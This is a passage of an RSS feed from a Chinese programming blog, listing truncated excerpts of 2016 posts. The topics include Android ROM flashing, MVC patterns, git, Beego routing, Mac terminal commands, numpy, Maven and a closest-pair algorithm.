sd-ext：格式化内存卡Ext分区(执行此项你会后悔的) -mount USB storage：开启Recovery模式下的USB大容量存储功能（也就是说可以在Recovery下对内存卡进行读写操作）&#xA;由于recovery的汉化和二次制作，进去的界面都不太一样，但是只是包装了下，这些选项都有的&#xA;5 . 最后就是刷入ROM了，install进去之后，选择你的刷机包，等待提示成功后重启进入系统&#xA;完整的 双wipe流程：&#xA;进入Recovery，执行Wipe Data/Factory Rest 进入Advance目录，执行Wipe Dalvik 返回，进入Mounts And Storage，执行Format System，执行了这一步会解决很多问题，很多人漏掉这一步！（不要format sdcard 格式化SD卡自己的东西就全没了）返回上一级目录，选择Install zip from sdcard，选择choose zip fromsdcard找到你刚才拷贝在内存卡的ROM。 建议刷完再执行3、4的步骤。如果你安装程序之后会出现一些你所不能理解的情况，可以在所有的程序都安装完毕之后，再进行一次Wipe Cache Partition和Wipe Dalvik，如此经常能解决一些莫名其妙的问题。 重启手机。 常见问题： 1. 有时在刷机过程中，出现了卡死的情况，有的机友直接掰电池，容易出现这种情况：&#xA;无法挂载cache，data，system分区或者无法写入/system 这种情况必须格式化/system分区，然后自行把各个分区挂载上去，重新进入recovery模式&#xA;2.刷完重启后第一次进入系统时间是比较长的，耐心等待 </description>
    </item>
    <item>
      <title>详解MVC，MVP，MVVM</title>
      <link>https://bchobby.github.io/posts/f145739f8e734f2db87ce0893508a12d/</link>
      <pubDate>Sun, 17 Apr 2016 22:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f145739f8e734f2db87ce0893508a12d/</guid>
      <description>一：mvc mvc结构： 视图（View）：用户界面。&#xA;控制器（Controller）：业务逻辑&#xA;模型（Model）：数据保存&#xA;mvc各部分的通信方式 mvc互动模式 通过 View 接受指令，传递给 Controller。&#xA;另一种是直接通过controller接受指令。&#xA;mvc的历史 MVC 的概念最早出现在二十世纪八十年代的 施乐帕克 实验室中（对，就是那个发明图形用户界面和鼠标的实验室），当时施乐帕克为 Smalltalk 发明了这种软件设计模式。 controller层的臃肿问题 于 View 来说，你如果抽象得好，那么一个 App 的动画效果可以很方便地移植到别的 App 上。&#xA;对于 Model 来说，它其实是用来存储业务的数据的，如果做得好，它也可以方便地复用。&#xA;如果我们能够意识到 Controller 里面的代码不便于复用，我们就能知道什么代码应该写在 Controller 里面了，那就是那些不能复用的代码。&#xA;一个解决的思路 Controller 里面就只应该存放这些不能复用的代码，这些代码&#xA;在初始化时，构造相应的 View 和 Model。 监听 Model 层的事件，将 Model 层的数据传递到 View 层。 监听 View 层的事件，并且将 View 层的事件转发到 Model 层。 Controller 只有以上的这些代码，那么它的逻辑将非常简单，而且也会非常短。&#xA;controller进一步的解决方案## 但是，我们却很难做到这一点，因为还是有很多逻辑我们不知道写在哪里，于是就都写到了 Controller 中了，那我们接下来就看看其它逻辑应该写在哪里。&#xA;将 UITableView 的 Data Source 分离到另外一个类中。 将数据获取和转换的逻辑分别到另外一个类中。 将拼装控件的逻辑，分离到另外一个类中。 具体包括一下几种解决方案： 将网络请求抽象到单独的类中</description>
    </item>
    <item>
      <title>最新不安装百度云管家就可以下载网盘资源的方法及各种浏览器修改JavaScript开关方法</title>
      <link>https://bchobby.github.io/posts/6a10d2dbdff9677d7195a163dfa37afb/</link>
      <pubDate>Sun, 17 Apr 2016 10:21:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a10d2dbdff9677d7195a163dfa37afb/</guid>
      <description>自从百度云越来越没节操的限制非VIP下载速度时，我就不想装百度云管家了，但是众多比较大的资源都需要在网盘中下载怎么办&#xA;除了下载破解版的百度云客户端，还可以不用任何工具就可以下载大文件资源了&#xA;只需要把http改为https，就OK了，百试不爽（我用的是搜狗浏览器） 然后点击下载就不会提示需要安装百度云客户端了，可以直接用第三方下载器进行下载。 当然也有可能网页自动回弹到pc版，这时可以禁止或者管理JavaScript脚本就可以了，下面有各种浏览器设置JavaScript的方法&#xA;大概是因为http时明文传输，而https是加密传输，反正现在用的&#xA;之前试过先保存到自己网盘，然后把/s/中s改为wab,然而这种方法并不是都有效的，现在基本都会自动回弹到PC版，也需要修改JavaScript&#xA;IE浏览器开启关闭JavaScript方法： 在IE界面菜单栏中“工具”中选择“Internet选项”–“安全”选项卡–选择“Internet”（蓝色的小地球）–“自定义级别”–找到“脚本”下的“Java小程序脚本”中进行启用。如下图所示，设置完成后，重新打开浏览器设置即可生效。&#xA;360浏览器开启Ja关闭vaScript方法： 在360界面菜单栏的“工具”中选择“360安全浏览器选项”–“网页设置”选项–在网页设置选项中取消“不支持Java小程序”。如下图所示，设置完成后，重新打开浏览器设置即可生效。&#xA;腾讯TT浏览器开启关闭JavaScript方法： 打开TT浏览器，点击右上方的“菜单” - 选择“工具” - 选择“TT选项”，在打开的设置界面中选择“智能屏蔽”，在智能屏蔽设置页面中将“禁止运行Java程序”取消，点击保存，重新启动浏览器设置即可生效。&#xA;搜狗浏览器开启关闭JavaScript方法： 目前，搜狗开启JavaScript方法继承于IE浏览器，IE浏览器开启JavaScript方法&#xA;火狐浏览器开启JavaScript方法： 打开火狐浏览器界面，在菜单栏中选择“工具”–“选项”–“内容”中可见到“启用JavaScript”的选项，重新启动浏览器即可。&#xA;Opera浏览器开启关闭JavaScript方法： 打开Opera浏览器，在菜单栏中选择“工具”–“首选项”–“高级”选项卡–“内容”中的“允许使用JavaScript”可以设置，重新启动浏览器即可。&#xA;Safari浏览器开启Ja关闭vaScript方法： 以Beta4英文版为准，在“Preferences”–“Security”选项卡中的“Enable JavaScript”，勾选上则是打开，反之是禁用，重新启动浏览器即可。&#xA;谷歌浏览器开启关闭JavaScript方法： 打开谷歌浏览器，点击右上方扳手样式的图片 - 选择“选项” - 选择“高级选项” - 选项“内容设置” - 选择“JavaScript” - 选择“运行所有网站运行JavaScript(推荐)”，设置完成重新打开浏览器即可。&#xA;世界之窗浏览器开启关闭JavaScript方法： 打开世界之窗浏览器，在上方菜单栏中点击“工具” - 选择“选项” - 在打开的设置页面选择“页面设置” - 页面内容中选择将“不执行Java小程序”取消，即可完成设置，重新启动浏览器即可。&#xA;Avant浏览器开启关闭JavaScript方法： 打开Avant浏览器，在菜单栏点击右上方选择“工具” - 将“禁止运行Java小程序”前对勾取消。&#xA;打开Avant浏览器，在菜单栏点击右上方选择“工具” - 选择“Avant Browser选项” - 选择“浏览选项” - 将“禁止运行Java小程序”前对勾取消即可完成设置，重新启动浏览器即可。</description>
    </item>
    <item>
      <title>git clone从远程主机克隆一个版本库</title>
      <link>https://bchobby.github.io/posts/a1af88341fda8491771b668b22f18923/</link>
      <pubDate>Sat, 16 Apr 2016 09:21:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1af88341fda8491771b668b22f18923/</guid>
      <description>远程操作的第一步，通常是从远程主机克隆一个版本库，这时就要用到git clone命令。&#xA;$ git clone &amp;lt;版本库的网址&amp;gt; 比如，克隆jQuery的版本库。&#xA;$ git clone https://github.com/jquery/jquery.git 该命令会在本地主机生成一个目录，与远程主机的版本库同名。如果要指定不同的目录名，可以将目录名作为git clone命令的第二个参数。&#xA;$ git clone &amp;lt;版本库的网址&amp;gt; &amp;lt;本地目录名&amp;gt; git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。&#xA;$ git clone http[s]://example.com/path/to/repo.git/ $ git clone ssh://example.com/path/to/repo.git/ $ git clone git://example.com/path/to/repo.git/ $ git clone /opt/git/project.git $ git clone file:///opt/git/project.git $ git clone ftp[s]://example.com/path/to/repo.git/ $ git clone rsync://example.com/path/to/repo.git/ SSH协议还有另一种写法。&#xA;$ git clone [user@]example.com:path/to/repo.git/ 通常来说，Git协议下载速度最快，SSH协议用于需要用户认证的场合。各种协议优劣的详细讨论请参考官方文档。</description>
    </item>
    <item>
      <title>Beego走起（二） 路由的简单设置</title>
      <link>https://bchobby.github.io/posts/eedaa70136a566b48bb978a1af0b69ce/</link>
      <pubDate>Fri, 15 Apr 2016 18:10:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eedaa70136a566b48bb978a1af0b69ce/</guid>
      <description>Beego走起（二） 路由的简单设置 本次说一下在设置路由时可以使用的笔记&#xA;1. 路由器的设置 代码如下：&#xA;webns := beego.NewNamespace(&#34;/web&#34;, beego.NSRouter(&#34;/login&#34;, &amp;amp;logincontrollers.LoginWebController{}, &#34;get:Login&#34;), ) beego.AddNamespace(webns) //beego.Router(&#34;/web/login&#34;, &amp;amp;logincontrollers.LoginWebController{}, &#34;get:Login&#34;) 大家可以看到，两个路由器设置，功能是一样的，但是上面的那个多的是namespace(这个应该都知道！)，并且里面的函数也不一样。使用http://127.0.0.1:8080/web/login 就能打开此链接&#xA;2. 正则路由 这个我也是不懂，就举两个简单的，可行的例子，其它的请上beego查看&#xA;beego.Router(&#34;/web/login/:id&#34;, &amp;amp;logincontrollers.LoginWebController{}, &#34;get:Login&#34;) beego.Router(&#34;/web/login/?:id&#34;, &amp;amp;logincontrollers.LoginWebController{}, &#34;get:Login&#34;) 路由1： http://127.0.0.1:8080/web/login/123 可以访问 http://127.0.0.1:8080/web/login 不能访问&#xA;路由2： http://127.0.0.1:8080/web/login/123 可以访问 http://127.0.0.1:8080/web/login 可以访问&#xA;像我一样设置这两个路由，路由1是白设置的，因为路由2是兼容路由1的。&#xA;我们可以beego.Controller的Ctx.Input.Param(“:id”) 获取值&#xA;3. url 的其它值获取 这里指的是如： http://127.0.0.1:8080/web/login?abc=10abca&amp;amp;age=2000 怎么读取“?”后的数据呢？&#xA;var abc string if err := l.Ctx.Input.Bind(&amp;amp;abc, &#34;abc&#34;); err != nil { log.Println(&#34;get abc error:&#34;, err) } else { log.Println(&#34;get [abc] = &#34;</description>
    </item>
    <item>
      <title>Mac 终端命令详解</title>
      <link>https://bchobby.github.io/posts/832054b52db8353291a8bf065725e9f2/</link>
      <pubDate>Thu, 14 Apr 2016 21:59:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/832054b52db8353291a8bf065725e9f2/</guid>
      <description>转自豆瓣 花房一号店 https://www.douban.com/note/75797151/ 点击打开链接&#xA;OSX 的文件系统 OSX 采用的Unix文件系统，所有文件都挂在跟目录 / 下面，所以不在要有Windows 下的盘符概念。 你在桌面上看到的硬盘都挂在 /Volumes 下。 比如接上个叫做 USBHD的移动硬盘，桌面上会显示出一个硬盘图标，它实际在哪里呢？ 在终端里执行 ls /Volumes/USBHD, 看看显示出的是不是这个移动硬盘的内容。 根目录位置是 / 核心 Mach_kernel 就在这里， 驱动所在位置 /Systme/Library/Extensions 用户文件夹位置 /User/用户名 桌面的位置 /User/用户名/Desktop 文件通配符为星号 * 注意：在 Unix系统中是区别大小写字符的，A.txt 不等于 a.txt。 根目录标志 / 不是可有可无，cd /System 表示转到跟目录下的System中，而cd System 表示转到当前目录下的 System中 —————————————————————————————————————————————— 如何进入命令行操作模式 再图形界面下，用finder 打开 应用程序 》实用程序》终端 如果连图形界面都进不去了（比如安错了显示驱动），开机时按 F8，用－s参数启动，然后输入命令 mount -uw / 获得权限 为了防止误操作破坏系统，再用户状态下时没有权限操作系统重要文件的，所以先要取得root权限 sudo －s 然后输入密码，输入密码时没有任何回显，连星号都没有，只管输完回车就行了。 —————————————————————————————————————————————— 基本命令 列出文件 ls 参数 目录名 例: 想看看跟目录下有什么， ls / 想看看驱动目录下有什么， ls /System/Library/Extensions 参数 -w 显示中文，-l 详细信息， -a 包括隐藏文件 转换目录 cd 例：想到驱动目录下溜达一圈 cd /System/Library/Extensions 建立新目录 mkdir 目录名 例：在驱动目录下建一个备份目录 backup mkdir /System/Library/Extensions/backup 在桌面上建一个备份目录 backup mkdir /User/用户名/Desktop/backup 拷贝文件 cp 参数 源文件 目标文件 例：想把桌面的Natit.</description>
    </item>
    <item>
      <title>Intellij idea 快捷键(1)--生成for循环代码块</title>
      <link>https://bchobby.github.io/posts/2dad8710ea69eff67bb420578d34301c/</link>
      <pubDate>Wed, 13 Apr 2016 15:17:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dad8710ea69eff67bb420578d34301c/</guid>
      <description>使用Intellij idea 时，想要快捷生成for循环代码块&#xA;itar 生成array for代码块&#xA;for (int i = 0; i &amp;lt; array.length; i++) { = array[i]; } itco 生成Collection迭代 for (Iterator&amp;lt;String&amp;gt; iterator = locationUrl.iterator(); iterator.hasNext(); ) { String next = iterator.next(); } iten 生成enumeration遍历&#xA;while (enumeration.hasMoreElements()) { Object nextElement = enumeration.nextElement(); } iter 生成增强forxun for (String s : locationUrl) { } itit 生成iterator 迭代&#xA;while (iterator.hasNext()) { Object next = iterator.next(); } itli 生成List的遍历 for (int i = 0; i &amp;lt; locationUrl.</description>
    </item>
    <item>
      <title>s3 versioning 测试用例</title>
      <link>https://bchobby.github.io/posts/e9b2e5e3745b0ed67bc828870c1d90fa/</link>
      <pubDate>Tue, 12 Apr 2016 14:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9b2e5e3745b0ed67bc828870c1d90fa/</guid>
      <description>为什么80%的码农都做不了架构师？&amp;gt;&amp;gt;&amp;gt; &#34;&#34;&#34; Some unit tests for the S3 Versioning. &#34;&#34;&#34; import unittest import time from boto.s3.connection import S3Connection from boto.exception import S3ResponseError from boto.s3.deletemarker import DeleteMarker class S3VersionTest (unittest.TestCase): def setUp(self): self.conn = S3Connection() self.bucket_name = &#39;version-%d&#39; % int(time.time()) self.bucket = self.conn.create_bucket(self.bucket_name) def tearDown(self): for k in self.bucket.list_versions(): self.bucket.delete_key(k.name, version_id=k.version_id) self.bucket.delete() def test_1_versions(self): # check versioning off d = self.bucket.get_versioning_status() self.assertFalse(&#39;Versioning&#39; in d) # enable versioning self.bucket.configure_versioning(versioning=True) d = self.</description>
    </item>
    <item>
      <title>斯坦福课程总结一</title>
      <link>https://bchobby.github.io/posts/7baf5609211367cb2f44842eb0edf9c6/</link>
      <pubDate>Sun, 10 Apr 2016 09:26:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7baf5609211367cb2f44842eb0edf9c6/</guid>
      <description>1.发送消息给空指针并不会让程序崩溃，但是程序也不会执行任何操作，任何实例变量在没有初始化前，默认是零或者是空，所以如果要往一个是零或者空的实例变量发送消息时要对实例变量进行初始化分配内存，在堆内存中指定实例变量的数据类型和内存地址。&#xA;2. 如果在父类中已经对属性的getter和setter方法进行重命名，那么在对应的子类中也要用新的属性getter和setter名称来重写方法。&#xA;3.如果同时重写了属性的getter和setter方法，那么要处理@synthesize（在没有对属性的getter和setter方法重写时，@synthesize是默认由xocde自己处理）&#xA;4.静态方法一般用于做一些通用性的事情，即只是一个工具方法，例如返回常数。&#xA;5.在oc中的m文件中可以创建未在h文件中声明的方法。&#xA;6.oc中的类具有向上类型转换（即upcasting）的特性。&#xA;7.在.h文件中声明一个外部的类，只是为了获得这个类的实例化对象；而在.m文件中声明是为了获得整个类及其所有的属性和方法。&#xA;8.设计一个类时先考虑如何实现公共的API。</description>
    </item>
    <item>
      <title>[C#]控件大小随窗体改变而改变</title>
      <link>https://bchobby.github.io/posts/c9d16cfdd8dd7df942a0da71302404e6/</link>
      <pubDate>Sat, 09 Apr 2016 20:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9d16cfdd8dd7df942a0da71302404e6/</guid>
      <description>这篇文章写的很好，一般我会选择第一种。 我改了一下格式，便于大家复制黏贴，O(∩_∩)O。&#xA;第一种: 推荐 在窗体中加上如下代码即可实现，但窗体点击放大按钮时却不能改变控件大小。&#xA;private Size beforeResizeSize = Size.Empty; protected override void OnResizeBegin(EventArgs e) { base.OnResizeBegin(e); beforeResizeSize =this.Size; } protected override void OnResizeEnd(EventArgs e) { base.OnResizeEnd(e); //窗口resize之后的大小 Size endResizeSize =this.Size; //获得变化比例 float percentWidth = (float)endResizeSize.Width / beforeResizeSize.Width; float percentHeight = (float)endResizeSize.Height / beforeResizeSize.Height; foreach (System.Windows.Forms.Control control in this.Controls) { if (control is DataGridView) continue; //按比例改变控件大小 control.Width = (int)(control.Width * percentWidth); control.Height = (int)(control.Height * percentHeight); //为了不使控件之间覆盖 位置也要按比例变化 control.Left = (int)(control.</description>
    </item>
    <item>
      <title>numpy.std() 计算矩阵标准差</title>
      <link>https://bchobby.github.io/posts/be9b131a32da437fd26325c805a7dcb1/</link>
      <pubDate>Sat, 09 Apr 2016 18:01:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9b131a32da437fd26325c805a7dcb1/</guid>
      <description>计算矩阵标准差&#xA;&amp;gt;&amp;gt;&amp;gt; a = np.array([[1, 2], [3, 4]]) &amp;gt;&amp;gt;&amp;gt; np.std(a) # 计算全局标准差 1.1180339887498949 &amp;gt;&amp;gt;&amp;gt; np.std(a, axis=0) # axis=0计算每一列的标准差 array([ 1., 1.]) &amp;gt;&amp;gt;&amp;gt; np.std(a, axis=1) # 计算每一行的标准差 array([ 0.5, 0.5]) 官方手册：http://docs.scipy.org/doc/numpy/reference/generated/numpy.std.html</description>
    </item>
    <item>
      <title>GraphLab Create API 中文文档 - 数据工程 - graphlab.SFrame</title>
      <link>https://bchobby.github.io/posts/5e8e69cd4cda8891ad53f20aae24f695/</link>
      <pubDate>Sat, 09 Apr 2016 16:25:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e8e69cd4cda8891ad53f20aae24f695/</guid>
      <description>class graphlab.SFrame(data=list(), format=&#39;auto&#39;) 一个列数可变的表格型数据框架对象，可以适应大数据。SFrame中的数据在GraphLabServer 中以列优先的方式存储，并且存储在持久性存储媒介（例如磁盘）中，避免了被内存大小所限制。SFrame中的每一列都是一个大小不可变的SArray，但是SFrame可以通过增加或者减少列来轻松地改变。一个SFrame基本上表现为SArray的一个有序dict。&#xA;目前，我们支持从下列方式建立SFrame。&#xA;csv 文件 （逗号分隔值）&#xA;sframe存档路径 （一个已经保存了SFrame的路径。）&#xA;普通文本文件（解析CSV选项，参见read_csv()）&#xA;一个python词典类&#xA;pandas.DataFrame&#xA;JSON&#xA;Apache Avro&#xA;PySpark RDD&#xA;以及下列数据来源&#xA;你的本地文件系统&#xA;GraphLab Server文件系统&#xA;HDFS&#xA;Amazon S3&#xA;HTTP(S).&#xA;下面仅给出了基本的示例。更多的信息和示例，请参考用户手册,API Translator,How-Tos, 和 数据科学Gallery。&#xA;参数列表：&#xA;data :array | pandas.DataFrame | string | dict, optional 解释行为取决于参数的格式。如果data参数是一个array或者Pandas DataFrame，其内容将被存储在SFrame中。如果data参数是一个string，它会被解释为一个文件。文件可以从本地文件系统或者urls中读取。(local://,hdfs://, s3://,http://).&#xA;format :string, 可选参数&#xA;数据的格式。默认情况下，‘auto’会自动推测输入数据的格式。推测规则很简单：如果数据是一个array或者一个dataframe，这个参数会分别被指定为‘array’和‘dataframe’。如果data参数是一个string，它会被作为一个文件来解释，文件的拓展名被用来推测文件类型。下面是各选项的明细：&#xA;“auto”&#xA;“array”&#xA;“dict”&#xA;“sarray”&#xA;“dataframe”&#xA;“csv”&#xA;“tsv”&#xA;“sframe”.&#xA;参考&#xA;read_csv&#xA;从csv文件中建立SFrame。最好是文本和CSV格式，因为有很多选项来控制解析器。&#xA;save&#xA;保存SFrame。&#xA;注意&#xA;在Linux中，从HDFS读取信息时，我们需要推测你的java安装路径。我们默认使用环境变量JAVA_HOME指向的地址。如果未被设定，我们会检测一些常见的安装路径。你可以使用两个环境变量来覆盖这个操作。GRAPHLAB_JAVA_HOME允许你指定一个特定的安装路径并且覆盖掉JAVA_HOME的值。&#xA;GRAPHLAB_LIBJVM_DIRECTORY覆盖掉所有值，并需要你希望使用的libjvm的精确路径，这样文件才能被找到。只有当你希望使用一个非标准的JVM时使用它。&#xA;示例&#xA;&amp;gt;&amp;gt;&amp;gt; import graphlab &amp;gt;&amp;gt;&amp;gt; from graphlabimport SFrame 构造</description>
    </item>
    <item>
      <title>NUMA node</title>
      <link>https://bchobby.github.io/posts/d708881c055de122f579ee1a6f21f4d8/</link>
      <pubDate>Thu, 07 Apr 2016 10:57:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d708881c055de122f579ee1a6f21f4d8/</guid>
      <description> 现在的机器上都是有多个CPU和多个内存块的。以前我们都是将内存块看成是一大块内存，所有CPU到这个共享内存的访问消息是一样的。这就是之前普遍使用的SMP模型。但是随着处理器的增加，共享内存可能会导致内存访问冲突越来越厉害，且如果内存访问达到瓶颈的时候，性能就不能随之增加。NUMA（Non-Uniform Memory Access）就是这样的环境下引入的一个模型。比如一台机器是有2个处理器，有4个内存块。我们将1个处理器和两个内存块合起来，称为一个NUMA node，这样这个机器就会有两个NUMA node。在物理分布上，NUMA node的处理器和内存块的物理距离更小，因此访问也更快。比如这台机器会分左右两个处理器（cpu1, cpu2），在每个处理器两边放两个内存块(memory1.1, memory1.2, memory2.1,memory2.2)，这样NUMA node1的cpu1访问memory1.1和memory1.2就比访问memory2.1和memory2.2更快。所以使用NUMA的模式如果能尽量保证本node内的CPU只访问本node内的内存块，那这样的效率就是最高的。 </description>
    </item>
    <item>
      <title>Maven入门（含实例教程）</title>
      <link>https://bchobby.github.io/posts/49791a95a5328897ea899d63ffefbd2a/</link>
      <pubDate>Wed, 06 Apr 2016 17:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49791a95a5328897ea899d63ffefbd2a/</guid>
      <description>原文地址：http://blog.csdn.net/u013142781/article/details/50316383&#xA;Maven这个个项目管理和构建自动化工具，越来越多的开发人员使用它来管理项目中的jar包。接下来小宝鸽，将从下面几个方向介绍maven：&#xA;（1）Maven简单介绍 （2）Maven安装与配置 （3）Maven携手eclipse构建项目 （4）Maven的常用命令 （5）Maven实例&#xA;猿友门抓紧了，马上起飞了：&#xA;（1）Maven的简单介绍 Maven这个个项目管理和构建自动化工具，越来越多的开发人员使用它来管理项目中的jar包。但是对于我们程序员来说，我们最关心的是它的项目构建功能。所以这里我们介绍的就是怎样用 maven 来满足我们项目的日常需要。Maven 使用惯例优于配置的原则 。它要求在没有定制之前，所有的项目都有如下的结构：&#xA;一个 maven 项目在默认情况下会产生 JAR 文件，另外 ，编译后 的 classes 会放在 basedir/target/classes 下面， JAR 文件会放在 ${basedir}/target 下面。这时有人会说了 ， Ant 就没有那么多要求 ，它允许你可以自由的定义项目的结构。在这里不想引起口水战哈， 我个人觉得 maven 的这些默认定义很方便使用。好了 ，接下来我们来安装 maven 。&#xA;（2）Maven安装与配置 2.1、下载maven安装包：apache-maven-3.2.1 http://download.csdn.net/detail/u013142781/9355367，解压即可使用。&#xA;2.2、maven环境变量配置，配置方式跟jdk有些类似。新建环境变量MAVEN_HOME（值为maven的根目录）、然后在PATH环境变量里加入%MAVEN_HOME%\bin;即可。&#xA;2.3、设置setting.xml文件，配置本地仓库。apache-maven-3.2.1\conf下有个setting.xml文件，打开，localRepository的值设置成你本地仓库的路径。（博主在apache-maven-3.2.1根目录下创建了个repository文件夹作为本地仓库）。如下图&#xA;2.4、maven配置到eclipse上，下载插件eclipse-maven3-plugin http://download.csdn.net/detail/u013142781/9355661, 解压后把对应的features和plugins这两个文件夹的内容复制到eclipse相同文件夹里面即可，然后重启eclipse，当你打开Window→ Preferences…的时候，你应该能够在一个选项列表中看到一个Maven选项：&#xA;然后，Windows–&amp;gt;Prefrences–&amp;gt;Installations–&amp;gt;Add。installation name选maven的根目录，然后一直按确定就OK啦。&#xA;至此 maven安装配置完成！如果需要了解jdk+eclipse+svn+maven+mysql+tomcat7.0的环境搭建，可阅读小宝鸽的博客http://blog.csdn.net/u013142781/article/details/50300233，非常详细而且还提供安装包哦。&#xA;（3）Maven携手eclipse构建项目 具体的创建方式可以查看我好友的一篇博客：Spring+Mybatis+SpringMVC+Maven+MySql搭建实例，http://blog.csdn.net/evankaka/article/details/48785513，非常非常详细。当然小宝鸽以后也会写一篇“Spring+Mybatis+SpringMVC+Maven+MySql搭建实例”，希望多多关注支持啊。&#xA;（4）Maven的常用命令 Maven常用命令： 1. 创建Maven的普通java项目： mvn archetype:create -DgroupId=packageName -DartifactId=projectName 2. 创建Maven的Web项目： mvn archetype:create -DgroupId=packageName -DartifactId=webappName-DarchetypeArtifactId=maven-archetype-webapp 3. 编译源代码： mvn compile 4.</description>
    </item>
    <item>
      <title>HDU 1007 Quoit Design（分治法求最近点对问题）</title>
      <link>https://bchobby.github.io/posts/ef9f31c26264e933e0d6bb39bbb5bca5/</link>
      <pubDate>Wed, 06 Apr 2016 07:25:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef9f31c26264e933e0d6bb39bbb5bca5/</guid>
      <description>本题的大致题意，求出最近两个点的距离的一半。 首先先看数据范围，如果暴力的话肯定会超时的，所以要想一个优化点的方法，就是对其进行分治。&#xA;大致思路：先把一个大区间分为两个小区间，然后分别对两个区间进行排序，筛选。然后再把筛选后的点放入一个新的数组里面进行求值。然后不断的更新最小值。具体看代码吧，代码中我也给出了大量的注释。 AC代码：&#xA;#include&amp;lt;cstdio&amp;gt; #include&amp;lt;cmath&amp;gt; #include&amp;lt;cstring&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; #define N 100005 struct node { double x,y; } point[N]; int point1[N];//存储符合标准的点的坐标 bool cmpx(node a,node b)//按x坐标从小到大排序 { return a.x&amp;lt;b.x; } bool cmpy(int a,int b)//按y坐标从小到大进行排序 { return point[a].y&amp;lt;point[b].y; } double dist(node a,node b)//求出两点间的距离 { return sqrt((a.x-b.x)*(a.x-b.x)+(a.y-b.y)*(a.y-b.y)); } double near(int l,int r)//利用分治法找出最近的两个点的距离 { if(l&amp;gt;=r) return 1e10; int mid=(l+r)/2;)); int n=0; double distan=min(near(l,mid),near(mid+1,r));//利用二分法分为两个区间 for(int i=mid; i&amp;gt;=l; --i)//把前一半符合条件的点的位置存入数组q中 { if(point[mid].x-point[i].x&amp;lt;distan) { point1[n++]=i; } else break; } for(int i=mid+1; i&amp;lt;=r; ++i)//把后一半符合条件的点的位置存入数组q中 { if(point[i].</description>
    </item>
    <item>
      <title>numpy.linalg.eig()  计算矩阵特征向量</title>
      <link>https://bchobby.github.io/posts/9fbfc16492469a290b2d9592dc918ae2/</link>
      <pubDate>Tue, 05 Apr 2016 11:53:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fbfc16492469a290b2d9592dc918ae2/</guid>
      <description>在PCA中有遇到，在这里记录一下&#xA;计算矩阵的特征值个特征向量，下面给出几个示例代码：&#xA;在使用前需要单独import一下&#xA;&amp;gt;&amp;gt;&amp;gt; from numpy import linalg as LA &amp;gt;&amp;gt;&amp;gt; w, v = LA.eig(np.diag((1, 2, 3))) &amp;gt;&amp;gt;&amp;gt; w; v array([ 1., 2., 3.]) array([[ 1., 0., 0.], [ 0., 1., 0.], [ 0., 0., 1.]]) &amp;gt;&amp;gt;&amp;gt; w, v = LA.eig(np.array([[1, -1], [1, 1]])) &amp;gt;&amp;gt;&amp;gt; w; v array([ 1. + 1.j, 1. - 1.j]) array([[ 0.70710678+0.j , 0.70710678+0.j ], [ 0.00000000-0.70710678j, 0.00000000+0.70710678j]]) &amp;gt;&amp;gt;&amp;gt; a = np.array([[1, 1j], [-1j, 1]]) &amp;gt;&amp;gt;&amp;gt; w, v = LA.</description>
    </item>
    <item>
      <title>几款自带编码器的直流电机</title>
      <link>https://bchobby.github.io/posts/ff75cd09f9db6a1f2a5d385445c63f6d/</link>
      <pubDate>Sun, 03 Apr 2016 14:59:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff75cd09f9db6a1f2a5d385445c63f6d/</guid>
      <description> 不少小伙伴做两轮自平衡车或者机器人或者各种比赛时，经常需要用到直流电机带编码器，有的自己可以做外置的编码器，但是否有自带编码器或码盘的直流电机？答案是肯定的，这里就推荐几款带编码器电机：&#xA;Aslong瑞士maxon电机瑞士ESCAP电机 德国Faulhaber电机 日本Namiki电机 日本TSUKASA驰卡沙 注意: 减速箱可以实现编码器脉冲倍频（倍数为减速比i），因为编码盘多装在下面的直流电机上，所以经过减速箱后的输出轴转一圈，下面的直流电机会旋转i（减速比）圈，输出 编码器线数*i 个脉冲，即编码器分辨率提高i倍，i一般可以达到数十。&#xA;编码器多为AB相输出增量编码器，正转（左图）和反转（右图）波形如下： 由图可知，通过AB相相位关系可以判断正反转，A超前B 90度为正转，B超前A 90度为反转，单片机脉冲捕获仅捕获一相脉冲的上升沿为1倍频，捕获一相的上升沿和下降沿为2倍频，捕获AB相的上升沿和下降沿为4倍频，即编码器分辨率又可以提高4倍。&#xA;各种电机的图片如下：&#xA;ASLONG JGA25，一般为334线码盘，加上减速箱可以实现编码器精度成倍（减速比）提高，多种转速和扭矩可选，貌似做两轮自平衡车挺合适： 德国冯哈勃 Faulhaber2342L012空心杯减速电机，功率和扭矩很给力，做机器人比赛（如武术擂台赛）很合适，别以为下面码盘只有12个齿精度就不高，如其中一种减速比为64：1，则减速后每圈的分辨率可达到12*64=768 CPR： 瑞士maxon Re35电机，500线编码器，空心杯直流行星减速电机： 瑞士ESCAP 16空心杯直流减速电机 512线编码器？是迷宫鼠比赛推荐用电机： 日本Namiki电机 如果减速比为80：1，编码器每圈输出2*80个脉冲： 日本TSUKASA 驰卡沙： </description>
    </item>
    <item>
      <title>mvc中尽量避免使用HttpContext.Current.Request</title>
      <link>https://bchobby.github.io/posts/c3a1553e48b1e774476cee6a32958fa8/</link>
      <pubDate>Wed, 30 Mar 2016 11:57:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3a1553e48b1e774476cee6a32958fa8/</guid>
      <description>在Mvc开发中滥用HttpContext.Current.Request，可能会造成非IE浏览器重复加载页面的情况。&#xA;不管你信不，反正我在Mvc3.0中遇到过。</description>
    </item>
    <item>
      <title>ntpd使用</title>
